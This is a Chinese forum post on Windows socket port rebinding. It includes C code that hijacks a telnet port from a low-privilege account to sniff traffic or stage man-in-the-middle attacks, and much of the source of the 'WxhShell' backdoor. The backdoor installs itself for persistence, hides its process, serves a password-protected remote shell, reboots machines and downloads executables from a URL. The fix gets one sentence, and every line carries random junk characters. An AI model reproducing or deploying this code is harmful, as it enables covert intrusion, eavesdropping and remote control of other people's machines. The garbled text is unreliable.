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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G8]{pbX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -J!n7  
B (eXWWT_  
  saddr.sin_family = AF_INET; wx-&(f   
?VxQ&^|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7h(  
_"F=4`lJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _!|$i  
|Zn;O6c#L5  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RF8, qz  
[jN Vk3  
  这意味着什么?意味着可以进行如下的攻击: Uf_mwEE  
m.6uLaD"!}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :9 &@/{W  
%1cxZxGT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fWJOP sp*/  
%iPIgma  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fFC9:9<  
_@?I)4n|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  LDw.2E  
I_Z?'M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UCmJQJc  
W@GU;Nr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XmO]^ `  
_eQ-'")  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;E{@)X..|  
 eJ[+3Wh  
  #include /QlzWson  
  #include B~Z61   
  #include * XDe:A  
  #include    WSF$xC /~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <b4} B   
  int main() 7!o#pt7  
  { bA6^R If?  
  WORD wVersionRequested; 3 ?gfDJfE  
  DWORD ret; jA@ uV,w  
  WSADATA wsaData; =JTwH>fD  
  BOOL val; Vl(id_~_  
  SOCKADDR_IN saddr; u,@ac[!vP  
  SOCKADDR_IN scaddr; Pr1OQbg]8  
  int err; S=L#8CID  
  SOCKET s; ~y 2joStx  
  SOCKET sc; .ezko\nU  
  int caddsize; ,rY}IwM w  
  HANDLE mt; >_\]c-~<  
  DWORD tid;   >Ir?)h  
  wVersionRequested = MAKEWORD( 2, 2 ); IAmMO[9H  
  err = WSAStartup( wVersionRequested, &wsaData ); EN>a^B+!  
  if ( err != 0 ) { D+BflI~9mP  
  printf("error!WSAStartup failed!\n"); 1?TgI0HS  
  return -1; 5P('SFq'=  
  } 0!c/4^  
  saddr.sin_family = AF_INET; DM,;W`|6%  
   A6;[r #C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rd(-2,$4  
\u/=?b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); :W'.SRD  
  saddr.sin_port = htons(23);  OtZtl* 5  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -|czhO)R  
  { Ox aS<vQ3  
  printf("error!socket failed!\n"); 85H*Xm?d#  
  return -1; *z'Rl'j9[  
  } .?F`H[^)^u  
  val = TRUE; "LZv\c~v,%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #KLW&A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5B{Eg?  
  { \3t)7.:4  
  printf("error!setsockopt failed!\n"); ]#rmk!VT?  
  return -1; ;UQ&yj%x  
  } ;[,#VtD  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @<1T&X{Z!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B an" H~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rsK b9G  
w (,x{Bg\  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OH5#.${O  
  { i?F~]8  
  ret=GetLastError(); #/K71Y  
  printf("error!bind failed!\n"); {*Qx^e`h$.  
  return -1; cn ;2&  
  } yA<\?Ps  
  listen(s,2); !`dn# j  
  while(1) pWGIA6&v(  
  { 38RyUHL=  
  caddsize = sizeof(scaddr); <*4r6UFR  
  //接受连接请求 n6GB2<y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PkdL] !:  
  if(sc!=INVALID_SOCKET) 5lm>~J!/^  
  { VSm{]Z!x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R?kyJ4S  
  if(mt==NULL) S? (/~Vb%  
  { oSs~*mf  
  printf("Thread Creat Failed!\n"); /. @"wAw:  
  break; 4{=^J2z  
  } Cy\! H&0wg  
  } 6.QzT(  
  CloseHandle(mt); Ivc/g,  
  } RMxFo\TK;  
  closesocket(s); wEb10t,  
  WSACleanup(); 7brC@+ZD  
  return 0; glRHn?p  
  }   Q2xzux~T  
  DWORD WINAPI ClientThread(LPVOID lpParam) fUS1`  
  { H}}C>p"!,  
  SOCKET ss = (SOCKET)lpParam; ^/$bd4,z  
  SOCKET sc; JE/Kf<  
  unsigned char buf[4096]; V3> JZH`  
  SOCKADDR_IN saddr; 'u4TI=[6  
  long num; kG3m1: :  
  DWORD val; _B^Q;54c  
  DWORD ret; Vqxxm&^P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m3 W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R"qxT.P(  
  saddr.sin_family = AF_INET; `-82u :"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 45tQ$jr`1  
  saddr.sin_port = htons(23); ]F*fQ Ncjy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @  M  
  { 4Yya+[RY  
  printf("error!socket failed!\n"); xr1,D5  
  return -1; Ex}hk!  
  } jZ>x5 W  
  val = 100; 0ZJt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C7 T}:V](q  
  { #hF(`oX}4K  
  ret = GetLastError(); K)F6TvWv  
  return -1; X_2p C|C  
  } pt=H?{06  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bGe@yXId5  
  { )V?:qCuY>  
  ret = GetLastError(); ($r-&]y  
  return -1; w>h\643  
  } gano>W0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^K'@W  
  { .FpeVjR''  
  printf("error!socket connect failed!\n"); /K\]zPq  
  closesocket(sc); %{;1i  
  closesocket(ss); 8zzY;3^h;  
  return -1; gis;)al  
  } aV`_@F-8  
  while(1) b,uu dtlH  
  {  6>&h9@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6-J%Z%yT #  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OV,t|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yU'<b.]  
  num = recv(ss,buf,4096,0); EE$\8Gx']!  
  if(num>0) 0<#>LWaM_  
  send(sc,buf,num,0); p;n"zr8U  
  else if(num==0)  aK33bn'j  
  break; m< Y  I}  
  num = recv(sc,buf,4096,0); cogIkB&Ju  
  if(num>0) !N'HL-oT  
  send(ss,buf,num,0); d=d*:<Zx  
  else if(num==0) y$[:Kh,  
  break; dpSNh1  
  } B nUWg ^E  
  closesocket(ss); ]I'dnd3e  
  closesocket(sc); #Ic)]0L  
  return 0 ; w?:tce   
  } .W s\%S  
c8 Je&y8  
2mEvoWnJ  
========================================================== RG_.0'5=hc  
D0^h;wJ=4+  
下边附上一个代码,,WXhSHELL ~sT1J|  
n#^ii/H  
========================================================== ]p!)8[<  
LS]0p#  
#include "stdafx.h" Q>(a JF  
* }) W>  
#include <stdio.h> =M=v; ,I-  
#include <string.h> -}_1f[b  
#include <windows.h> $b(CN+#  
#include <winsock2.h> Q[{RN ab  
#include <winsvc.h> f@[qS7ok  
#include <urlmon.h> 6EeO\Qj{  
P; h8  
#pragma comment (lib, "Ws2_32.lib") F?^L^N^  
#pragma comment (lib, "urlmon.lib") \PWH( E9  
h4#'@%   
#define MAX_USER   100 // 最大客户端连接数 gxx#<=`  
#define BUF_SOCK   200 // sock buffer (x fN=Te,-  
#define KEY_BUFF   255 // 输入 buffer 7=%Oev&0g-  
Gk]ZP31u  
#define REBOOT     0   // 重启 ,u>[cRqw  
#define SHUTDOWN   1   // 关机 IC?(F]$%>  
V';l H2  
#define DEF_PORT   5000 // 监听端口 H@1}_d  
K)U[xS;<  
#define REG_LEN     16   // 注册表键长度 vA}_x7}n(  
#define SVC_LEN     80   // NT服务名长度 .cbC2t95  
s VHk;:e>x  
// 从dll定义API -n8d#Qm)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;tSA Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1je j7p>K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [dAQrou6P  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T7%!JBg@  
AgZ?Ry  
// wxhshell配置信息 :AS`1\ C  
struct WSCFG { ?w+ V:D  
  int ws_port;         // 监听端口 JQ 6M,O  
  char ws_passstr[REG_LEN]; // 口令 Z"RgqNf  
  int ws_autoins;       // 安装标记, 1=yes 0=no `CI_zc=jx  
  char ws_regname[REG_LEN]; // 注册表键名 GbclR:G  
  char ws_svcname[REG_LEN]; // 服务名 4hODpIF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lLDZ#'&An  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =YTcWB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s8)`wH ?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "?.#z]']  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B0%=! &  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X\/M(byn  
l<BV{Gl  
}; 3 ye  
O`Gq7=X  
// default Wxhshell configuration J|].h  
struct WSCFG wscfg={DEF_PORT, W"^=RY  
    "xuhuanlingzhe", p |1u,N  
    1, //_H _ue$  
    "Wxhshell", " X8jpg  
    "Wxhshell", @1Q-.54a  
            "WxhShell Service", "J`&"_CyZ  
    "Wrsky Windows CmdShell Service", C!a1.&HHZ7  
    "Please Input Your Password: ", bD{k=jum  
  1, ~y2zl  
  "http://www.wrsky.com/wxhshell.exe", {X&lgj  
  "Wxhshell.exe" 18!y7 _cFT  
    }; Z sTtSM\Ac  
dniU{v  
// 消息定义模块 P=5+I+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; weSq |f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yB2h/~+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =I'3C']Z W  
char *msg_ws_ext="\n\rExit."; 6eB;  
char *msg_ws_end="\n\rQuit."; `om+p?j  
char *msg_ws_boot="\n\rReboot..."; 1XMR7liE  
char *msg_ws_poff="\n\rShutdown..."; v$W[(  
char *msg_ws_down="\n\rSave to "; ]m b8R:a1  
%)x9u$4W2  
char *msg_ws_err="\n\rErr!"; 8~]D!c8;a  
char *msg_ws_ok="\n\rOK!"; B-R#?Xn:!I  
ksOGCd^G7  
char ExeFile[MAX_PATH]; r8Mx +r  
int nUser = 0; IB/3=4n^|  
HANDLE handles[MAX_USER]; pW(rNAJ!  
int OsIsNt; n%s%i-[5B  
AQlB_ @ b  
SERVICE_STATUS       serviceStatus; <4"-tYa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rNii,_  
rtRbr_  
// 函数声明 @#)` -]g  
int Install(void); hTr5Q33y>  
int Uninstall(void); iqQT ^  
int DownloadFile(char *sURL, SOCKET wsh); o)AwM"  
int Boot(int flag); /i'078F  
void HideProc(void); DH-M|~.sf^  
int GetOsVer(void); sQvRupYRO  
int Wxhshell(SOCKET wsl); xzm]v9k&  
void TalkWithClient(void *cs); aa`(2%(:  
int CmdShell(SOCKET sock); " B#|C'   
int StartFromService(void); hfaU-IPcFX  
int StartWxhshell(LPSTR lpCmdLine); /x6p  
RZm%4_p4s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D(#f`Fj;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I6W`yh`I)  
_h~ksNm5u  
// 数据结构和表定义 Q+ ^ &  
SERVICE_TABLE_ENTRY DispatchTable[] = $*fJKR_N  
{ d(T4Kd$r  
{wscfg.ws_svcname, NTServiceMain}, ,^UqE {  
{NULL, NULL} N{;!xI v  
}; {LO Pm1K8Y  
AK2Gm-hHK  
// 自我安装 H5=kDkb  
int Install(void) hmO2s/~  
{ 9\?OV @  
  char svExeFile[MAX_PATH]; C82_ )@96  
  HKEY key; Gk,Bx1y  
  strcpy(svExeFile,ExeFile); ,,'jyqD  
21uK&nVf^l  
// 如果是win9x系统,修改注册表设为自启动 UN]gn>~j  
if(!OsIsNt) { M"~jNe|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !eLj + 0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9%/hoA)  
  RegCloseKey(key); ]gk1q{Ql<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2/LSB8n|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O VV@  
  RegCloseKey(key); =)[m[@,c  
  return 0; 3S0.sU~_U  
    } > ;,S||  
  } #~*v##^vFH  
}  0#,a#P  
else { XE}gl&\  
`ONjEl  
// 如果是NT以上系统,安装为系统服务 Gm=qn]c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )dXa:h0RZ  
if (schSCManager!=0) 8+zW:0"[  
{ p4' .1.@  
  SC_HANDLE schService = CreateService V]=22Cxi'~  
  ( ')X (P>  
  schSCManager,  +\/Q  
  wscfg.ws_svcname, RJrz ~,}  
  wscfg.ws_svcdisp, sVLvnX,  
  SERVICE_ALL_ACCESS, v, $r.g;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1 ^~&"s U  
  SERVICE_AUTO_START, g9_zkGc7  
  SERVICE_ERROR_NORMAL, {keZ_2  
  svExeFile, ]ss[n.T0*  
  NULL, eA/n.V$z  
  NULL, ^|Ap_!t$;  
  NULL, w+M/VsL  
  NULL, wu41Mz7  
  NULL 54 lD+%E  
  ); 8Sbz)X  
  if (schService!=0) SQp|  
  { H?$dnwR  
  CloseServiceHandle(schService); L kt4F  
  CloseServiceHandle(schSCManager); Y"Cf84E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SeX]|?D  
  strcat(svExeFile,wscfg.ws_svcname); YW}$eW*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -;""l{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E C?}iP  
  RegCloseKey(key); >p_W(u@ z$  
  return 0; twT/uBQ4a  
    } =u.@W98, K  
  } Z%t_1t  
  CloseServiceHandle(schSCManager); a)_3r]sv^  
} })g<I+]Hf9  
} ^7gGtz2  
@CprC]X  
return 1; LC%o coc  
} wi(Y=?=  
HiCh:IP7>/  
// 自我卸载 =|3BkmO  
int Uninstall(void) PmR].Ohzi  
{ L9GLj Rp-  
  HKEY key; ,7{|90'V<  
F%OP,>zl  
if(!OsIsNt) { x/|W;8g4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C$[d~1t6  
  RegDeleteValue(key,wscfg.ws_regname); ? SFBUX(p  
  RegCloseKey(key); C@(@n!o:!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uP~,]ci7  
  RegDeleteValue(key,wscfg.ws_regname); Kv_2=]H  
  RegCloseKey(key); q_MN  
  return 0; qmS9*me {  
  } X+X:nL.t  
} $?= $F  
} dwOfEYC  
else { K'A+V  
y>o:5':;'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0~|0D#klB  
if (schSCManager!=0) Z8v\>@?5R  
{ ]OAU&t{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <Q[%:LD  
  if (schService!=0) |t,sK aL  
  { 9~SPoR/_0  
  if(DeleteService(schService)!=0) { x:SjdT  
  CloseServiceHandle(schService); AHf 9H?  
  CloseServiceHandle(schSCManager); `<XS5h h=  
  return 0; ZO+RE7f*?c  
  } r~b.tpH  
  CloseServiceHandle(schService); Gu;40)gm  
  } :;$MUOps  
  CloseServiceHandle(schSCManager); {^]qaQ[5N  
} WQ|Ufl;  
} xP8/1wd.  
Gb')a/  
return 1; 0'sZ7f<e7  
} X5WA-s(?0  
g#S X$k-O  
// 从指定url下载文件 kQ\GVI11?  
int DownloadFile(char *sURL, SOCKET wsh) #2=l\y-#  
{ u`ir(JIj]  
  HRESULT hr; .Xlo-gHk  
char seps[]= "/"; rwWOhD)RU  
char *token; {_7hX`p  
char *file; *|&Y ,H?  
char myURL[MAX_PATH]; L*0YOE%=]  
char myFILE[MAX_PATH]; Q%CrB>|@  
wgz]R  
strcpy(myURL,sURL); kNuvJ/St  
  token=strtok(myURL,seps); It*U"4lgi  
  while(token!=NULL) w1Bkz\95  
  {  |Iy;_8c  
    file=token; &dB@n15'A  
  token=strtok(NULL,seps); C  eEhe  
  } ("`"?G  
%_ew{ff|  
GetCurrentDirectory(MAX_PATH,myFILE);  Wvb ~j  
strcat(myFILE, "\\"); _'p/8K5)=  
strcat(myFILE, file); ;CO qu#(  
  send(wsh,myFILE,strlen(myFILE),0); +G;<D@gSa0  
send(wsh,"...",3,0); &Wy>t8DIK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >VhZv75  
  if(hr==S_OK) 2)BO@]n  
return 0; 65Z}Hf  
else 8P ]nO+  
return 1; IlJ"t`Z9)  
VjM/'V5  
} 8kKL=  
=t N}4  
// 系统电源模块 :@(1~Hm  
int Boot(int flag) CUDA<Fm  
{ qt:B]#j@  
  HANDLE hToken; nLL2/!'n  
  TOKEN_PRIVILEGES tkp; 7,)E1dx -V  
Pk&=\i<  
  if(OsIsNt) { OcB&6!1u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =LGM[Z3$s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j6s j2D  
    tkp.PrivilegeCount = 1; #ChTel  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V 2Xv)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k8G4CFg}wP  
if(flag==REBOOT) { PE.UNo>o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I484c R2.  
  return 0; =pzTB-G  
} ^5Y<evjm  
else { N75U.;U0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WiH8j$;xu  
  return 0; w#2apaz  
} N?3p,2  
  } HM(X8iNt  
  else { em7L `,  
if(flag==REBOOT) { Dj= {%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) */~|IbZ`o  
  return 0; 5%wA"_  
} /@Jg [na  
else { I3Co   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mR2"dq;U  
  return 0; _G`Q2hf"5  
} BgN^].z&  
} wo62R&ac  
*s, bz.[  
return 1; 2K3j3|T  
} `C7pM  
K}q5,P(  
// win9x进程隐藏模块 E*R-Dno_F  
void HideProc(void) g[y&GCKY!=  
{ nzO -\`40  
"4KyJ;RA*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G(A7=8vW  
  if ( hKernel != NULL )  "X=^MGV  
  { 'oGMr=gp<&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); qi^kf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s o: o b}  
    FreeLibrary(hKernel); zn'Mi:O'p  
  } 3p-SpUvp  
j!L7r'AV5  
return; \k$cg~  
} 1C=42ZZ&2  
Dd OK&  
// 获取操作系统版本 0LGHSDb  
int GetOsVer(void) lib^JJF  
{ *?Oh%.HgF  
  OSVERSIONINFO winfo; <%4pvn8d?&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E-X02A  
  GetVersionEx(&winfo); Q=<&ew  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V1i^#;  
  return 1; t& yuo E  
  else uI)z4Z  
  return 0; rIyIZWkI  
} 1JS5 LS  
EE9eG31|r  
// 客户端句柄模块 p-oEoA  
int Wxhshell(SOCKET wsl) ,S}wOjb@  
{ .F/l$4CQ  
  SOCKET wsh; )):D&wlq  
  struct sockaddr_in client; #pD=TMefC  
  DWORD myID; wO%617Av  
<0/)v J- 9  
  while(nUser<MAX_USER) !bW^G} <t  
{ W$}2 $}r0U  
  int nSize=sizeof(client); s2tNQtq 0W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %@I= $8j  
  if(wsh==INVALID_SOCKET) return 1; )Zvn{  
S>[&]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -t*P=V|@  
if(handles[nUser]==0) $-]9/Ct  
  closesocket(wsh); Vvn~G.&)  
else =4/K#cQ  
  nUser++; tB0f+ wC  
  } ;MO,HdP;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &61h*s  
s_!F`[  
  return 0; R|\kk?,u  
} q ) e* eN  
2"Ki5  
// 关闭 socket }F_=.w0  
void CloseIt(SOCKET wsh) g s%[Cv  
{ J32"Ytdo<  
closesocket(wsh); 5N#Sic M  
nUser--; ur+\!y7^R  
ExitThread(0); FdxV#.BE  
} tY`%vI [  
F@xKL;'N74  
// 客户端请求句柄 kc[<5^b5  
void TalkWithClient(void *cs) U uSCqI};  
{ ?J5E.7o  
%G, d&%f  
  SOCKET wsh=(SOCKET)cs; P9gAt4i  
  char pwd[SVC_LEN]; Vpxsg CS  
  char cmd[KEY_BUFF]; I5E4mv0<i  
char chr[1]; 70A* !v  
int i,j; kI^Pu  
l=>FoJf!*<  
  while (nUser < MAX_USER) { #@cEJV;5"  
%bB:I1V\  
if(wscfg.ws_passstr) { iB*1Yy0DC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9d+z?J:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NHD`c)Q  
  //ZeroMemory(pwd,KEY_BUFF); P\2x9T  
      i=0; E#yG}UWe  
  while(i<SVC_LEN) { pE]s>T a  
DLEHsbP{$  
  // 设置超时 %xwtG:IKEV  
  fd_set FdRead; NvJ}|w,Z  
  struct timeval TimeOut; GOY!()F  
  FD_ZERO(&FdRead); 8sU}[HH*1  
  FD_SET(wsh,&FdRead); 26-K:"  
  TimeOut.tv_sec=8; (+.R8  
  TimeOut.tv_usec=0; +Y440Tz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :w26d-QR(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l7S&s&W @  
,z|g b]\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hODq& 9!  
  pwd=chr[0]; Ft 2u&Rtx  
  if(chr[0]==0xd || chr[0]==0xa) { *|.-y->  
  pwd=0; T3/Gl 6f  
  break; e`t-:~'  
  } MY z\ R \  
  i++; DZU} p  
    } uVLKR PY  
.Za)S5U  
  // 如果是非法用户,关闭 socket ),U>AiF]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %8! }" Xa  
} S!.H _=z%p  
8i?:aN[.1b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W< :7z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 52z{   
p7]V1w:  
while(1) { Q1u/QA:z7  
W4S! rU  
  ZeroMemory(cmd,KEY_BUFF); 69EdMuf  
F@kd[>/[  
      // 自动支持客户端 telnet标准   {*t0WE&1t  
  j=0; 0tp3mYd  
  while(j<KEY_BUFF) { 7eQc14  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %j2ZQ/z  
  cmd[j]=chr[0]; tF~D!t@  
  if(chr[0]==0xa || chr[0]==0xd) { L [=JHW  
  cmd[j]=0; } ^n346^  
  break; 6@geakq  
  } ^U]B&+m  
  j++; a X:,1^  
    } n8'#'^|  
NaYr$`  
  // 下载文件 TAKv E=a;  
  if(strstr(cmd,"http://")) { FR? \H"'x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^Qa!{9o[  
  if(DownloadFile(cmd,wsh)) 8;1,saA_9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); KBy*QA  
  else [X\~J &kD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M5T4{^i  
  } D:vX/mf;7  
  else { T~- OC0  
pkT26)aW  
    switch(cmd[0]) { kNrN72qg  
  w4(g]9^Q  
  // 帮助 .Arcsg   
  case '?': { /O&{fo  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ue2%w/Yo  
    break; s\3OqJo%)  
  } R.$1aqA}  
  // 安装 {bD:OF  
  case 'i': { Auk#pO#  
    if(Install()) RA$q{$arb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  "DsL$D2e  
    else 1?,1EYT"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z,}c)  
    break; o#=@!m  
    } $ v0beN6MG  
  // 卸载 &^1{x`Qo=  
  case 'r': { #[ ?E,  
    if(Uninstall()) y`8 bx94jB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x_$`#m{hL5  
    else 83g$k 9lG.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Pf\"% *  
    break; q!4eVg*  
    } AtYqD<hl:  
  // 显示 wxhshell 所在路径 <tT.m[qg  
  case 'p': { i$JN s)I%  
    char svExeFile[MAX_PATH]; Z )'gj  
    strcpy(svExeFile,"\n\r"); 2pmqP-pKd  
      strcat(svExeFile,ExeFile); 4c9 a"v  
        send(wsh,svExeFile,strlen(svExeFile),0); P B?92py&  
    break; WO!'("  
    } ^\C Fke=  
  // 重启 !yo@i_1D  
  case 'b': { $L"h|>b\o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8T?D#,/  
    if(Boot(REBOOT)) iOJ5KXrAO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7ro&Q%  
    else { ;DX g  
    closesocket(wsh); uZe"M(3r$  
    ExitThread(0); -OXC;y  
    } XJ e}^k  
    break; Yan}H}Oq  
    } \- 8S"  
  // 关机 5jAS1XG  
  case 'd': { , {X}C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )f,9 h  
